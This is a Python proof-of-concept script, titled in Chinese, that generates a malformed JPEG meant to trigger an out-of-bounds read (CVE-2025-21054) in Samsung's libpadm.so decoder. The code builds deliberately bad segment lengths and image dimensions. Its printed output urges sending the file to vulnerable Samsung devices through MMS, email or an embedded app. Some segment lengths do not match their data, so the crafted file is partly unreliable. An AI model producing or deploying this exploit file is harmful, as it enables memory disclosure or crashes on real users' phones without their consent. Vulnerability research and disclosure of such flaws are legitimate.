CVE-2025-21054 Samsung libpadm.so JPEG解码越界读取漏洞

# CVE-2025-21054 PoC - Malformed JPEG Header for OOB Read in libpadm.so # This PoC generates a crafted JPEG file with an invalid header segment length # to trigger an out-of-bounds read in Samsung's libpadm.so JPEG decoder. import struct import sys def generate_malformed_jpeg(output_path): """ Generate a malformed JPEG file that triggers CVE-2025-21054. The vulnerability is in the JPEG header parsing logic of libpadm.so, where insufficient bounds checking on segment lengths can lead to out-of-bounds memory reads. """ data = bytearray() # SOI (Start of Image) marker data += b'\xFF\xD8' # APP0 (JFIF marker) - normally contains JFIF identifier and version # Craft an APP0 segment with an abnormally large length value # This will cause the parser to read beyond the allocated buffer app0_length = 0xFFFF # Exaggerated length to trigger OOB read data += b'\xFF\xE0' data += struct.pack('>H', app0_length) # Partial data - parser will try to read app0_length bytes beyond this data += b'JFIF\x00' # JFIF identifier data += b'\x01\x01' # Version 1.1 data += b'\x00' # Aspect ratio units data += b'\x00\x01' # X density data += b'\x00\x01' # Y density data += b'\x00\x00' # Thumbnail dimensions # DQT (Define Quantization Table) with invalid table length data += b'\xFF\xDB' # Crafted DQT with length that exceeds actual data data += struct.pack('>H', 0x00FF) # Length field data += b'\x00' # Table ID and precision # Only provide partial quantization values - parser reads beyond data += b'\x10' * 32 # Partial quantization values # SOF0 (Start of Frame) with manipulated image dimensions data += b'\xFF\xC0' data += struct.pack('>H', 11) # Length data += b'\x08' # Precision (8 bits) # Set abnormally large image dimensions to cause OOB read data += struct.pack('>H', 0x7FFF) # Height (max signed short) data += struct.pack('>H', 0x7FFF) # Width (max signed short) data += b'\x03' # Number of components data += b'\x01\x22\x00' # Component 1 data += b'\x02\x11\x01' # Component 2 data += b'\x03\x11\x01' # Component 3 # DHT (Define Huffman Table) - minimal data += b'\xFF\xC4' data += struct.pack('>H', 19) # Length data += b'\x00' # Table class and ID data += b'\x00' * 16 # Number of codes of each length data += b'\x01' # One symbol # SOS (Start of Scan) marker data += b'\xFF\xDA' data += struct.pack('>H', 8) # Length data += b'\x03' # Number of components data += b'\x01\x00' # Component 1 selector data += b'\x02\x11' # Component 2 selector data += b'\x03\x11' # Component 3 selector data += b'\x00\x3F\x00' # Spectral selection and approximation # Minimal scan data - truncated to trigger incomplete parsing data += b'\x00' * 16 # EOI (End of Image) marker data += b'\xFF\xD9' with open(output_path, 'wb') as f: f.write(data) print(f"[+] Malformed JPEG generated: {output_path}") print(f"[+] File size: {len(data)} bytes") print(f"[+] This file targets CVE-2025-21054 in Samsung libpadm.so") print(f"[+] Send this file to a vulnerable Samsung device via MMS, email,") print(f" or embed in an app to trigger the OOB read vulnerability.") if __name__ == "__main__": output = sys.argv[1] if len(sys.argv) > 1 else "cve_2025_21054_poc.jpg" generate_malformed_jpeg(output)